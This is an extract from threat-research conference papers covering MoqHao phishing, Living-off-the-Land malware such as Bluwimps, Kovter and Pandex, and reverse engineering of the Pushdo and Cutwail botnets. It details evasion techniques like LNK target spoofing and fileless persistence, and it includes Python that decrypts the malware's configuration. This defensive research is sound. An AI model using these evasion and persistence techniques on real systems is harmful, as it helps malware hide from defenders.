Anti-Reversing

- **Creating fake dex files**
  - Of size 1 KB
  - Contains encrypted data in different locations and selects data to decrypt based on the configuration file in the recent variants

- **Modular approach**
  - Decode/decrypt and load classes.dex using either DexClassLoader or by loading a native library of the format "^lib[a-z][3].so"
  - Dependant on an external social media account for the extraction of actual C2, that could be changed dynamically by the threat actors

- During the process of decoding classes.dex, a recent variant of this malware uses ".unzip" as the folder name into which to copy the decoded dex in order to avoid being listed under folders with the "ls" command
Proposed Solution

Thus far we have discussed about MoqHao's infection chain, and TTPs for both Android and iOS targets. In this section let us look at the possibilities and potential mechanisms to tackle the MoqHao phishing campaign.

Anti-DNS Hijacking

The detection approach we propose is a non-intrusive system with the modules below to identify and alert administrators. The modules involved are:

- **Heartbeat module**: A component that regularly pings the routers connected in the network and checks if they are alive. At any point in time, if there is no response from a router, this module will detect and alert the user about this suspicious scenario.

- **Reporting module**: A component that requests for a web page from an AV-controlled server and carries out integrity checks on various parts of the response to conclude if the response is being altered.

Android

The existing solution of detecting phishing websites when they are accessed is reactive and requires the security products to be aware of URLs in advance. As yet, MoqHao has not changed its functional flow and behaviour, protection mechanism which we suggest is a system that will monitor.

- **Broadcast action**:
  - For opening a URL in an SMS received by listening to the default SMS app using the accessibility service
  - Of the protected intent "android.intent.action.PACKAGE_NEEDS_VERIFICATION" sent to a system package verifier by the system for verifying the package
  - Of the protected intent "android.intent.action.PACKAGE_FIRST_LAUNCH" that alerts whenever an app is launched

Upon installation or execution of an application, after the above specified intents, look through the logcat for actions listed below started by the unique UserID assigned to the same executed application.

- Creation of a Java HTTP server at the local 127.0.0.1 loopback address which is an unusual activity by a regular Android application

Daemon services to look for:

```java
java-httpservers: Starting HttpServer at http://127.0.0.1:<port number>
```

- Intent requesting "android.intent.action.VIEW" with the data of "127.0.0.1:<port number>" in a browser activity from the UserID of the malware.

- **Logcat for WebSocket (WS) server started in the device**
  - Look for the occurrence of WebSocket server that accepts a user profile like ACC:00569308955552776429@blogger
  - Logs with "ws://" followed by IP address and a port number
  - Status of WS server like connected, open or connecting
• Logs to look for in order:
  WS : ns get................
  ViewRootImpl: hardware acceleration is enabled, this = ViewRoot(818611e ,ident =
  1)
  libc-netbsd: [getaddrinfo]: hostname=www.blogger.com; servname=(null); netid=0; mark=0
  libc-netbsd: [getaddrinfo]: ai_addrlen=0; ai_canonname=(null); ai_flags=4; ai_family=0
  WS : ACC:00569308955552776429@blogger
  WS : ns ws://220.136.151.47:38876
  WS : conn changed: CONNECTING

• **Alert the user** in the event any of the above verifications matched and recommend the user to uninstall the application.

iOS

Though iOS has high security restrictions and very limited access to the kernel, configuration profiling has become a security weakness as many of iOS malware target .mobileconfig xml to compromise a user’s iPhone.

MoqHao, although iOS webcryptomining is non-existent, attacks targeting the configuration file still exist. A protection mechanism which we suggest to tackle such deceptive installations is to implement restriction profiling as in the case of iOS Mobile Device Management (MDM). Restriction profiling allows an administrator to control access to device attributes, proxy settings, VPN, etc., and enforces data loss prevention. Though restriction profiling is not currently supported by Apple for an end-user environment, implementation of end-user restriction profiling via a security product could aid products to enforce and block unwanted configuration profile installations.

Conclusion

Thus far we have been discussing how MoqHao has been roaming around targeting smartphone users, both Android and iPhone. Targeted phishing campaigns in a new dimension involving multiple disconnected infection stages to reach its victims should not be underestimated. Though it sounds simple, it is important that security products must counter-attack these multi-staged phishing campaigns at each of their stages with evolving and technology-driven all-layered approaches to protect users from unpleasant surprises.

**IoCs used for Analysis**

<table>
<thead>
<tr>
<th>Payload Name</th>
<th>Hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>jppost.apk</td>
<td>6B2F324942B3504DD62FE42A65820</td>
</tr>
<tr>
<td>smartcat.apk</td>
<td>2B2CECA9DE868726C1E1F2389D1097</td>
</tr>
<tr>
<td>sagawa.apk</td>
<td>44F3E1D7DB988874EB573AAC26208856</td>
</tr>
<tr>
<td>Funkybot (佐川急便 — Sagawa Express)</td>
<td>FF34C719D1CF716EEFF710F565437F87</td>
</tr>
</tbody>
</table>
References

http://www.logisticsjapan.com/Logistics_Japan
https://blog.btrax.com/top-largest-japanese-companies/
https://www.worldlistmania.com/largest-companies-japan/
[7] https://urlscan.io/result/c66de724-4186-41e4-9e14-23bedd413ba7
A deep look into the recent “Living of the Land” threats in the wild

Mingwei Zhang & Dennis Tan / Symantec

Abstract

In the recent years, we have been seeing an increased trend for Living off the Land (LotL) threats. This technique is not only being used in targeted attacks, but also malicious campaigns aiming the general public. In a typical LotL attack, attacker could make use of system built-in features or system tools which are already installed on targeted machines, to load and execute malicious scripts and/or shellcode directly in memory. As a result, there are less malicious files created on the hard disk, and the malicious activities could also be hidden in a sea of legitimate processes, making such an attack less likely to be detected by security software and solutions.

Symantec Security Technology & Response group has been monitoring the threat landscape changes closely and has analysed hundreds of LotL attacks in the recent years. In this paper, we will have a deep dive into LotL threats based on the most recent in-the-wild samples we have analysed.

Mingwei Zhang is a principal threat analysis engineer at Symantec Corporation. He joined Symantec since 2013 and worked in security technology and response team for 6 years. His tasks included malware analysis, exploit kit tracking, and malware delivery chain research. He received his master degree in computer science from National University of Singapore. Before moving to threat analysis, he has worked as research associate in NUS Temasek Laboratories. His major research topics included sophisticated memory exploit identifying & diagnosis, and kernel level loadable library isolation. Mingwei has authored a paper for NDSS 2012, co-authored a paper for ICECCS 2014. Currently, he is focused in the emulation based nonpe malware detection and fileless attack protection.

Dennis Tan is Director of Research in Symantec Security Technology and Response group, based in Singapore. He is leading a team of researchers specialized in investigating and responding to sophisticated cyber threats. Prior to Symantec, he worked for Fortinet, Websense and Tencent.
Firstly, we’ll share the telemetries and statistics to demonstrate the growing trend of LotL attacks.

And then we will discuss the common tactics used by LotL attacks, such as delivery vectors, built-in tools and features, persistent mechanism, evasion techniques and the payloads.

Next, we will have a few case studies on notable or interesting LotL threats, such as Bluwimps, Kovter, Pandex downloader, and LNK threats.

Finally, we will share some points about the challenges posed by LotL threats, the new trend we have observed, and possible countermeasure solutions.

**Telemetry & Statistics**

Based on various threats that we are monitoring, the LotL technique could be used in different stage of the attack chain:

1) It could be used as the initial infection vector. For example, some worms may generate LNK files in the partible devices. Upon user clicking, malicious command line could be executed to infect the current machine.

2) It could also be used to make threat persistent on infected machine. A LotL command line in system load points, for example registry run key or WMI event consumer, can load the malware and its payload after system restarted.

3) Besides, this technique could be utilized to make a traditional binary malware "Living of the Land". For example, malware could hide its binary part in registry or WMI object, and dynamically load it with PowerShell command using reflective binary injection.

4) Moreover, the whole malware could be composed with pure LotL command lines. It is easy to implement a malware with rich features in a single PowerShell command, so the whole malware could "Live off the Land" with only command lines.

Nowadays, as an advanced attack technique, the LotL technique has been widely utilized in most of the popular malware families — especially for the non-PE malware and fileless threats. From the malware author point of view, malware with this technique is more extensible, stealthy, and flexible. They could pay less effort to develop and maintain the malware, even pretty easy to make it polymorphic.

Below is a chart shows the number of LotL attacks happened in the past months. As one of the major LotL host, attacks utilized PowerShell command keep increasing along with the time.
Nevertheless, the LotL threats have to be delivered to the targets in a certain way. Email is one of the most favorable vectors by attacker. The attackers usually conduct spam campaigns and send out tons of Emails. They trick users into clicking on a document, LNK, or malicious URL, and then the following a string of attacks begins. Below is an example of a LotL attack leveraging malicious spam runs as the vector, and targeting a Hong Kong corporation.

![Figure 1. Number of LotL attacks in the wild, December 2018 to September 2019](image)

**Common Tactics**

**Delivery Vectors**

Nevertheless, the LotL threats have to be delivered to the targets in a certain way. Email is one of the most favorable vectors by attacker. The attackers usually conduct spam campaigns and send out tons of Emails. They trick users into clicking on a document, LNK, or malicious URL, and then the following a string of attacks begins. Below is an example of a LotL attack leveraging malicious spam runs as the vector, and targeting a Hong Kong corporation.

![Figure 2. LotL attack from malicious spam](image)
Besides Emails, we are also seeing other delivery vectors used by LotL threats. For example, attackers could exploit a remote code execution (RCE) vulnerability to run shell code or command lines directly in memory. In the case of Bluwimps, the threat exploits EternalBlue to propagate. We will discuss more details about Bluwimps in the case study section later. Meanwhile, Exploit Kits, password brute force, USB Worm techniques have also been observed to deliver LotL threats.

**Persistent**

The malicious (fileless) command lines are usually hidden in the load points such as Registry, ScheduledTask and WMI repository, in an obfuscated format. To make itself less suspicious, some threat will split the whole chain into small stages. It only put a small code as first stage into the loading point. But the first stage has ability to load more code from fileless storages, such as Registry, WMI repository, and even environment variables.

**Evasion Tricks**

The LotL threats are leveraging multiple tactics to evade detections. Perhaps one of the most important strategies is being fileless, making the attack even harder to detect and remediate. There are LotL attacks which are completely fileless, while in some other cases there are very limited disk files that could be traced.

If the attackers have to use a disk file that could potentially be scanned by security software, they typically use other techniques to reduce the chances being detected. For example, in the non-PE file spam campaigns that carry LotL attacks, the downloaders are always obfuscated and with multiple anti-emulation tricks. To make the things ever worse, the attackers may generate tons of different samples in a campaign (server-side polymorphism).

We also noticed several cases where the attackers leverage malformed file format to evade detection. One of the most interesting cases we came across is Sidewinder loader. This is LNK file which is designed to execute a simple MSHTA command upon clicking. If we right click the LNK file in Windows and check the command line in the file properties, we see the executable and its path (Figure 3).

As shown in Figure 3, the executable name is “oword.exe”. However, this is a fake name, you won’t find an executable file inside the %Windir%\system32 folder with this name. But if we click "Open File Location", we can see that the real executable used in this LNK file is actually "mshta.exe" (Figure 4).

It’s not just the file properties window that’s fooled, many third-party scanners and parsers can also be evaded using this trick. During our research we noticed there were many fields and flags that an LNK file uses to indicate its target executable file and corresponding path. Figure 5 shows the complete structure of this LNK file (relevant flags and strings have been highlighted).
A deep look into the recent “Living of the Land” threats in the wild

Figure 4. Real file location shown after clicking “Open File Location”

Figure 5. Structure and contents of the LNK file
As we can see from Figure 5, the executable name and path information in the LNK file is listed in more than one place. The information is available in multiple fields of various sections, such as LinkTargetIDList, LinkInfo, StringData, EnvironmentVariableDataBlock, and so on. According to the official documentation, the actual target executable name used upon clicking is decided by the flags in the LNK header. Under the flag settings shown in the Figure 5, the actual target executable name highlighted in red is used. This means malware author could change other names to whatever they want, while still ensuring that the LNK file works as intended.

**Case studies**

Bluwimps, also called WannaMine, is a PowerShell based worm that is designed to run crypto mining module on infected machines. It has several key features like:

1) Propagate to neighbourhood machine with stolen credentials using Mimikatz
2) If failed, then try to propagate using EternalBlue vulnerability
3) Persistent on infected machine with WMI repository
4) Run crypto mining module for Monero
5) Download and execute other modules, for example DDOS module

As a typical fileless malware, a lot of LotL techniques are used during the whole infection chain. As shown in Figure 6, multiple LotL command lines are used to infect, persistent, mine, and even spread in this malware. Here we will go through the major stages of this malware and introduce the key command lines employed.

Figure 6. Full attack chain of the Bluwimps (32bit variant)
Firstly, a PowerShell command line shown in Figure 7 is executed to infect a new machine by the shellcode. This command first checks if the target machine has already been infected. If not, it will download and execute the latest variant from its C2 server.

During the infection, the malware resources are stored to properties of a new WMI object, including the miner binary, utility functions, shellcode, Mimikatz binary, current version number and so on. Meanwhile, another PowerShell command line is set to a new created WMI event consumer, which will be regularly triggered. This command is feed with an argument containing a variant of the initial infection script. This script could update itself, load and execute the components stored in the WMI object, and execute DDOS and other modules. During execution of this command, another PowerShell command is spawned to load and execute the miner module.

To make the malware more robust to survive from remediation, malware will also setup two schedule tasks on the infected system. One will be executed at the system startup, while another one will be triggered every 20 minutes. Both of them executes the same REGSVR32 command shown in Figure 8.

This REGSVR32 command line is using a common trick to download and execute a SCT file from remote server. Inside the SCT file, the embedded script sections will get executed directly. In this malware, the embedded script will simply run another PowerShell command line, which will then download and execute a “vercheck.ps1” script from remote server. This script will first disable Windows Defender using multiple “reg” command, then it will download and execute another script named “antivirus.ps1”. This will be the latest variant of Bluwimps.

Kovter, also known as Poweliks, is a well-known malware that could persistent on the infection machine with fileless techniques. Similar with Bluwimps, multiple LotL command lines are employed during the whole infection chain.

Firstly, a malicious email with a zipped JavaScript script is sent to victim. If the victim downloads and double clicks the attached JS file, a latest variant of Kovter will be downloaded and executed on the victim machine.
Upon the infection, several registry keys will be created in the system, including a run key, a command shell registered for a random file extension, a piece of JavaScript code, and a copy of the encoded Kovter binary. The run key created in this stage points to a MSHTA command that has an inline JavaScript as argument. The inline JS code could read and execute the JavaScript code in the registry key.

In order to use PowerShell script feature for binary injection, the JS code loaded above need to spawn a new PowerShell process. Instead of feeding the necessary PowerShell script to the PowerShell command directly as argument, it chooses to set the PowerShell script into an environment variable with random name. Then the new spawned PowerShell command will simply read the script from the environment variable and invoke it. Finally, a new REGSVR32 process will be created by the PowerShell script and the Kovter binary will be injected to it.

Similar with Bluwimps, Kovter also want to guarantee its persistence with a secondary load point. During the malware infection, a BAT file will be created in the startup folder. Accordingly, a dummy file with a random extension is created in the temp folder. The new created BAT file contains a command to open the dummy file. Since the random extension is registered in the registry by the malware, the MSHTA command line with inline JS code get executed as a shell command to open this random extension. This MSHTA command line is exactly same with the one in the registry run key.

**Pandex**, which is also called Cutwail, is well known botnet in the past years. It turns the infected machine into part of its botnet for spam campaign. Recently, it keeps sending Microsoft Excel document with malicious VBA script to selected countries. These Excel documents are carefully composed that the VBA code will usually only continue the infection in Japan or Italy.
After the country checks passed in the VBA code, a “cmd.exe” command shown at Figure 11 will get executed by the macro. This command line is highly obfuscated with keyword case switching, environment variable expansion, string slicing and concatenation, and character unescape operations. Moreover, this obfuscation has two layers, and in total three “cmd.exe” processes are spawned to finish the de-obfuscation.

However, the evasion tricks in this threat are not over yet. The final “cmd.exe” command simply spawns another WMIC command line to dive into deeper layers. This is another powerful LotL command which has pretty rich features and is widely used in fileless malwares. It could be used to run arbitrary script by providing a remote XSL file as command output format file. It could also be used to spawn other command line in a WMI style, just like how it used in the current stage of the Pandex macro downloader (Figure 12).

Now we start to watch the tricky games in PowerShell scripts. Although there is no more LotL command following this PowerShell command, this command itself keep diving into another six more layers before the final payload. Most of these layers are simply decoding then invoking, but the third and the last layer are the different ones. In the third layer, the script will download a PNG file (Figure 13) from a legit image website and extracting the inner layer PowerShell script from its pixels. While, the last layer is responsible to download and execute the final payload. Before the payload downloading, the script will verify the country setting of the target machine again. If the current system setting is not identified as target country, it will give up the infection. If the check passed, the payload will be saved to a file on the disk and run as a separate process, or it may be loaded directly in the memory with reflective DLL injection.
Sidewinder loader is an interesting LNK downloader which is designed to download and execute malware from remote server. This malware is delivered via spam email to the selected victims. It is represented as a zipped LNK file in the email attachment. After user clicking, the LNK file will start a MSHTA command with a URL as argument.

A HTA file is downloaded and executed from the URL provided. To avoid victim’s awareness, the embedded JavaScript in the HTA file first moves the application window outside the screen range. Next, the script will load the second stage with a technique called DotNetToJScript (Figure 14). This trick allows the malware loading arbitrary .NET Assembly and class in a Jscript. Meanwhile, to avoid suspicion, a dummy RTF file is dropped and opened with the default application.

At the second stage, another MSHTA command gets executed. Similarly, a URL pointing to another HTA file is downloaded. The JScript in the second stage is also similar with the first stage, except it including the binary files required in the next stage of this attack. These binaries will be decoded and dropped to the user machine. To make next stage more stealthy, the EXE file dropped in this stage is a Microsoft signed clean executable. And it will be used to load the malicious DLL file extracted to the same folder.
Challenges

LotL attacks are so sophisticated that they pose a big challenge to security vendors. Below are a few problems that could potentially affect the efficacy of a security solution. These problems need to be carefully addressed.

1) Mix usage of different types of scripts and command lines. This makes the detection much more complicated than only scanning one type of script or command line;
2) Targeted malware may use system specific information, or it could be triggered only on certain machines and settings, which is a big challenge for emulation or sandbox-based solutions;
3) Threat remediation becomes more complicated. For example, the security solution needs to scan and remediate for multiple load points, where the malicious codes or components are hidden;
4) Obfuscation and anti-emulation tricks are heavily used in most LotL malwares

We have also observed a few trends:

1) As we can see from our telemetry, PowerShell is the most prevalent LotL binary used in the wild
2) Nowadays, malware tend to use multiple stages / layers to hide its malicious activities
3) LNK file becomes one of the major vectors of the infection
4) More and more LotL binaries are discovered in the wild

In the end, we would like to discuss the possible solutions that could mitigate LotL threats.

1) Though the malwares have been utilizing the anti-emulation tricks, emulation is still one of the most effective ways of detecting obfuscated malwares;
2) We also need a robust fileless scanning technique. Despite being fileless, the threats do exist in the format of processes, and hide in a load point in the format of a piece of script or command line. The fileless scanning technique will need to scan the processes as well as various load points, to detect and remediate the threats.

3) AMSI (Antimalware Scan Interface) is a generic interface standard that allows applications and services to integrate with any anti-malware product present on a machine. Specifically, AMSI can help protect customers from dynamic script-based malware, and from non-traditional avenues of cyberattack.

4) Policy based solutions. The corporate organizations could deploy a set of categorized policies that can block "unusual" behaviors. A simple example would be: "Microsoft Word cannot launch powershell.exe."

References


Targeting Japan: a story from infection vector to C&C server hidden using fast flux and everything in between

Doina Cosovan & Catalin Valeriu Lita / SecurityScorecard

Abstract

By analyzing Pushdo botnet’s communication protocol and speaking with its Command and Control (C&C) server, one can continuously download fresh samples of its spamming module — Cutwail. After reverse engineering and implementing Cutwail’s communication protocol, one can contact its C&C server regularly in order to request fresh spam templates its bots are distributing at the time. One particular Cutwail campaign we have been monitoring has most of its infections in Japan and its corresponding C&C server has been sending spam targeting only Japan. Examples of spam we have been downloading from this Cutwail C&C server include phishing for Amazon and Apple in Japanese. The spam templates received from the C&C server include a large list of source email addresses to be used when sending the spam.

Doina Cosovan has a Computer Science degree. Prior to joining Security Scorecard 4 years ago, she worked for Bitdefender’s malware research team since her second year of college. She presented at conferences such as Caro, Virus Bulletin, AAVAR. Some of her interests include malware, botnets, reverse engineering and machine learning.

Cătălin Valeriu Lita received a Bachelor’s degree in Computer Science from the Technical University Gheorghe Asachi, Romania, Iasi, Faculty of Automatics and Computer Science. He has a Master’s degree in Information Security from the Alexandru Ioan Cuza University of Iași, Faculty of Computer Science, a Master’s degree in business administration from the Alexandru Ioan Cuza University of Iași, Faculty of Economics and Business Administration, and a Ph.D. in Computer Science from the Faculty of Computer Science. He presented at CARO and Virus Bulletin conferences. Prior to joining Security Scorecard he worked for nine years in Bitdefender’s anti-malware team.
The domains, used for these source email addresses, have also been observed in the wild for spam in Japanese containing excel attachments leading to particular Gozi and Bebloh campaigns. Both Gozi and Bebloh use Domain Generation Algorithms with multiple seeds. The campaign targeting Japan is separated, using its own seed. Thus most victim IP addresses contacting the domains we generated and sinkholed for these seeds are located in Japan. In order to protect its C&C server, Gozi uses a malicious fast flux infrastructure we have been monitoring.

1. Introduction

We will start by presenting Pushdo and will continue to detail each step of our journey: reverse engineering Cutwail, communicating with the Cutwail Command and Control server targeting Japan, searching for more Cutwail Command and Control servers, communicating with the Cutwail Command and Control server targeting Italy, analyzing the spam templates received in both cases, linking the two Cutwail Command and Control servers and Japan, look into Gozi targeting Japan, until we get to the DarkCloud fast flux, used to hide the Gozi Command and Control servers.

2. Pushdo

a. Unpacking

The Pushdo installer decrypts a shellcode from its resources using the algorithm illustrated in Image 1.
Next, it jumps to the beginning of the shellcode and executes from there. The shellcode decompresses, loads, and passes the execution to another executable, which we'll call the Pushdo payload.

b. Configuration decryption

The Pushdo installer contains in its overlay the encrypted configuration, needed by the Pushdo payload. During its execution, the Pushdo payload reads and decrypts this configuration from the Pushdo installer image on the disk. Note that this means the payload executable can't function properly if it is executed standalone because it won't find the configuration in the overlay. There are a few options for running the Pushdo payload standalone: append the installer executable's overlay to payload executable's overlay; replace the payload executable with installer executable on the disk before the payload executable starts decrypting its configuration. However any of these options assume the Pushdo installer is known. By having only the Pushdo payload, one can't properly execute it.

The configuration can be decrypted by using the algorithm illustrated in the Images 2–4.

```python
def decrypt(ciphertext):
    PROV_RSA_FULL = 1
    CRYPT_NEWKEYSET = 8
    CALG_MD5 = 0x8003
    CALG_RC4 = 0x6801
    crypto_provider = c_void_p()
    crypto_provider_name = "Microsoft Enhanced Cryptographic Provider v1.0"

    success = windll.advapi32.CryptAcquireContextA(
        byref(crypto_provider), 0, crypto_provider_name, PROV_RSA_FULL, 0)
    if not success:
        success = windll.advapi32.CryptAcquireContextA(
            byref(crypto_provider), 0, crypto_provider_name, PROV_RSA_FULL, CRYPT_NEWKEYSET)
    if not success:
        print "Couldn't acquire cryptographic context"
        return None

    ciphertext_hash_provider = c_void_p()
    success = windll.advapi32.CryptCreateHash(
        crypto_provider, CALG_MD5, 0, 0, byref(ciphertext_hash_provider))
    if not success:
        print "Couldn't create ciphertext hash provider."
        return None

    ciphertext_hash_content = create_string_buffer(ciphertext[0:0x10])
    ciphertext_hash_content_length = c_int(len(ciphertext_hash_content) - 1)
    success = windll.advapi32.CryptHashData(
        ciphertext_hash_provider, ciphertext_hash_content, ciphertext_hash_content_length, 0)
    if not success:
        print "Couldn't hash ciphertext hash content."
        return None
```

Image 2. Pushdo configuration decryption (part 1)
key = c_void_p()  
success = windll.advapi32.CryptDeriveKey(  
    crypto_provider, CALG_HMAC, ciphertext_hash_provider, 1, byref(key))  
if not success:  
    print "Couldn't derive key."  
    return None  

ciphertext_content = create_string_buffer(ciphertext[8:18])  
ciphertext_content_length = c_int(len(ciphertext_content) - 1)  
success = windll.advapi32.CryptDecrypt(  
    key, 0, 1, 0, ciphertext_content, byref(ciphertext_content_length))  
if not success:  
    print "Couldn't decrypt."  
    return None  

success = windll.advapi32.CryptDestroyKey(key)  
if not success:  
    print "Couldn't destroy key."  

plaintext = ciphertext_content.raw[:ciphertext_content_length.value]  
plaintext_hash_provider = c_void_p()  
success = windll.advapi32.CryptCreateHash(  
    crypto_provider, CALG_MD5, 0, 0, byref(plaintext_hash_provider))  
if not success:  
    print "Couldn't create plaintext hash provider"  
    return None  

plaintext_hash_content = plaintext[8:2F0]  
plaintext_hash_content_length = c_int(len(plaintext_hash_content) - 1)  
success = windll.advapi32.CryptHashData(  
    plaintext_hash_provider, plaintext_hash_content, plaintext_hash_content_length, 0)  
if not success:  
    print "Couldn't hash plaintext hash content."  
    return None  

plaintext_hash_length = create_string_buffer(b"", 4)  
plaintext_hash_length_length = c_int(4)  
success = windll.advapi32.CryptGetHashParam(  
    plaintext_hash_provider, 4, byref(plaintext_hash_length),  
    byref(plaintext_hash_length_length), 0)  
if not success:  
    print "Couldn't determine the length of the hash."  
    return None  

plaintext_hash_length_bytes = plaintext_hash_length.raw[:plaintext_hash_length_length.value]  
plaintext_hash_length_value = struct.unpack("I", plaintext_hash_length_bytes)[0]  
plaintext_hash_value = create_string_buffer(b"", plaintext_hash_length_value)  
plaintext_hash_value_length = c_int(plaintext_hash_length_value)  
success = windll.advapi32.CryptGetHashParam(  
    plaintext_hash_provider, 2, byref(plaintext_hash_value),  
    byref(plaintext_hash_value_length), 0)  
if not success:  
    print "Didn't hash plaintext hash content."  
    return None  

success = windll.advapi32.CryptDestroyHash(plaintext_hash_provider)  
if not success:  
    print "Couldn't destroy ciphertext hash provider."  

success = windll.advapi32.CryptDestroyHash(plaintext_hash_provider)  
if not success:  
    print "Couldn't destroy plaintext hash provider."  

success = windll.advapi32.CryptReleaseContext(crypto_provider, 0)  
if not success:  
    print "Couldn't release crypto context."  

plaintext_hash_value_bytes = plaintext_hash_value.raw[:plaintext_hash_value_length.value]
c. Network Communication

The payload executable drops a small executable containing an encrypted list of hardcoded legitimate domains. The purpose of the small executable is to generate a lot of traffic towards the embedded clean web sites in order to make it harder to spot the communication with the Command and Control server. The communication with the actual Command and Control server is performed by the payload executable.

In order to download and decrypt fresh modules, one can send to the Pushdo Command and Control server a request observed after running the malware in a virtual machine. The response received from the server is an HTML file in which the Command and Control message is hidden. The attackers use different HTML files even if the message is the same. The HTML files seem to be legitimate HTML files, which might have been downloaded from various legitimate web sites with the sole purpose of using them as apparent responses to the infected machines. This approach makes it even easier for the HTML responses from the real Command and Control server to integrate well among the HTML responses received from the list of legitimate web sites contacted by the dropped small executable.

The HTML file returned as response from the Command and Control server contains a base64-encoded content located between the markers “<!-- ” and “--->”. Since the original HTML content can have multiple such markers, the hidden response integrates well within the HTML file, as well. However, this means that the payload executable must try to decrypt all of them, performing some checks after the decryption in order to differentiate between the hidden response and the valid HTML comments which are part of the initial HTML content.

After base64-decoding the hidden response, the obtained content has the following structure:

- **marker** (4 bytes) — It must satisfy the following constraint: marker % 0x1ECB != 0xA.
- **XOR key** (4 bytes) — It is used to encrypt the size and the content of the RC4 key blob.
- **CRC32 value** (4 bytes) — It is computed on all the content following this field (the RC4 key blob size, the RC4 key blob content, and the actual message content).
- **RC4 key blob size** (4 bytes) — It is XOR-encrypted using the XOR key specified in the second field of the message.
- **RC4 key blob content** (<RC4 key blob size> bytes) — It is used to encrypt the actual content of the message. It is RSA-encrypted using public RSA key corresponding to the private RSA key hardcoded in the binary. On top of this, it is XOR-encrypted using the XOR key specified in the second field of the message.
- **content (the remaining bytes)** — It is RC4-encrypted using the RC4 key specified in the message.

The payload performs the following actions as part of searching, decrypting and interpreting each comment in the received HTML file:

- base64-decodes the content between "<!-- " and "--->"
- checks that marker % 0x1ECB != 0xA
- checks that the computed CRC32 value matches the one from the message
- XOR-decrypts the RC4 key blob size
- XOR-decrypts the RC4 key blob content
- RSA-decrypts the XOR-decrypted RC4 key blob content (which is encrypted with bot’s public RSA key known by the server and decrypted with bot’s private RSA key hardcoded in the sample)
- RC4-decrypts the remaining content
The obtained plaintext (RC4-decrypted content) starts with a 4-byte number indicating the number of received components (which must be between 0x0 and 0x400). For each component there is a 20-byte header and a module. The first 4 bytes of the component header contains the size of the component, while all the others are values used to determine the type of the component and how to process it. The components may or may not be compressed using gzip. In order to check if the component is compressed with gzip one has to check whether the third header dword & 0x10 is different from zero.

Since January 2019 only one Cutwail sample was provided by the Pushdo Command and Control server. The sample is not on virustotal at the time of this writing.

d. Sinkhole

As already mentioned, the Pushdo sample we analyzed has an up and running Command and Control server. It corresponds to the hardcoded domain name hidden among the list of hardcoded legitimate domain names. However, in case the Command and Control server is not responding for periods of time, the sample contacts the domain names generated by the fallback Domain Generation Algorithm.

We sinkholed it and, even though the Command and Control server is up and running, we did receive some requests from infected bots. Note that the numbers might not be representative of the size of the botnet given that the Command and Control server is up and running. However, we wanted to get a sense of the botnet’s distribution. Image 5 illustrates the distribution by country for top 10 countries (accounting for 97% of all the unique IP addresses — 2483 IP addresses out of 2559 IP addresses) of the unique IP addresses contacting the sinkholed DGA-based domain during most of September 2019.

![Image 5. Pushdo Infections for DGA-based domain]

However, we were also able to sinkhole one of the legitimate domains from the hardcoded list of legitimate domains hardcoded in the small executable. Note that none of the other 300 legitimate hardcoded domains can be sinkholed — it was luck to be able to sinkhole this one. It was the web site of a company from Belarus at some point in time. A Google search reveals the result from Image 6.
And if we search the domain on the Internet Archive Wayback Machine, we see it was a security company. The Images 7–8 illustrate how its web page looked during 2012—2014.
Thus, in 2018 we were able to sinkhole this domain. Of course, among the received requests we were supposed to receive legitimate requests from legitimate users in case they were looking for the ATB-LIT company. But most of them seem to be related to Pushdo because of the following reasons:

- The requests use the Pushdo’s user agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1).

- The body of the requests looks unusual (sets of repeating letters), as can be observed in Image 9. And we started investigating why that be the case. After running the sample in a virtual machine, we observed in the captured packets that initially the requests made by Pushdo to legitimate web sites simulate the same format as the ones used for the Command and Control server. After a more detailed analysis we found out that they are composed of letters and digits generated in a random fashion using the QueryPerformanceCounter function. This makes sense given that these requests are supposed to hide the requests to the real Command and Control server. However, after some time, the Pushdo requests start looking like the ones we receive on our sinkholes for the sinkholed formerly legitimate domain.

- There is a significant overlap between the IP addresses contacting the DGA-based domain name and the formerly legitimate domain name. To be precise, half of the IP addresses that contacted the DGA-based domain, also contacted the formerly legitimate domain.

![Image 9. Pushdo / Cutwail requests to legitimate web sites after some time](image)

Image 10 illustrates the distribution by country for top 10 countries (accounting for 55% of all the IP addresses — 24000 out of 43113) of the unique IP addresses contacting the sinkholed formerly legitimate domain during most of September 2019.
There is an important difference between these two domains. We know that the botnet has an up and running Command and Control server, which corresponds to the hardcoded domain hidden among the legitimate domains. In this case the DGA-based domain is not contacted because the DGA is a fallback mechanism to be used only when the hardcoded domain is not operating as a valid Command and Control server. However, the legitimate domain names are contacted in both cases. Therefore a sinkholed legitimate domain is a better indicator of the botnet size as long as the legitimate requests from legitimate users still contacting the legitimate domain are filtered out.

The total number of unique IP addresses received for September 2019 for the DGA-based domain is 4926 while for the formerly legitimate domain is 43113, which is almost nine times more. 2559 unique IP addresses are common, meaning they contacted both domains. In both cases, most IP addresses contacting the sinkhole are from Japan.

The sinkhole statistics we provide for the formerly legitimate domain name are for the requests received on port 80. Note, however, that the small executable generating the additional traffic has two communication threads: one making requests on port 80 and the other one — on port 25. This makes sense given that it is used to hide both Pushdo traffic (on port 80) and Cutwail traffic (on port 25). As we mentioned earlier, both samples embed this small executable. However, since there is a significant overlap between the IP addresses contacting port 80 and the ones contacting port 25, we only provided statistics for port 80. Since Cutwail is a Pushdo module, it makes sense for the systems infected with one to also be infected with the other.
3. Cutwail

a. Unpacking and components

The Cutwail installer contains an UPX-packed executable, which we will call the Cutwail payload. The Cutwail payload embeds 19 executables:

- Set A: 2 executables
- Set B: 16 executables
- 1 small executable

The small executable has the same purpose as the Pushdo’s small executable: to generate a lot of traffic to legitimate web sites in order to hide the communication with the Command and Control server. The presence of this small traffic-generating executable embedded in the Cutwail installer confirms that Cutwail is indeed Pushdo’s spamming module and not just a different malware family distributed by Pushdo.

The executables from the same set are identical except for some constants: mutex name and decryption keys. The decryption keys are used to decrypt a ciphertext embedded within the executable and containing its strings. Although the plaintexts are identical, the ciphertexts are different because the decryption keys are different. There is one exception though: there is one decrypted string which is not identical among the executables from Set B — the IP address.

Note that the algorithm used to decrypt the strings from both sets of executables is identical. The differences consist in the decryption keys and offsets of the encrypted strings and decryption keys in the executable. The strings can be decrypted using the algorithm illustrated in Image 11.

```python
def decrypt_strings(ciphertext, ciphertext_length, key, key_length):
    plaintexts = []
    for i in range(ciphertext_length / key_length):
        plaintext = '"
        for j in range(key_length):
            plaintext_byte = ord(ciphertext[i * key_length + j]) ^ ord(key[j])
            if plaintext_byte == 0x00:
                break
            plaintext += chr(plaintext_byte)
        plaintexts.append(plaintext)
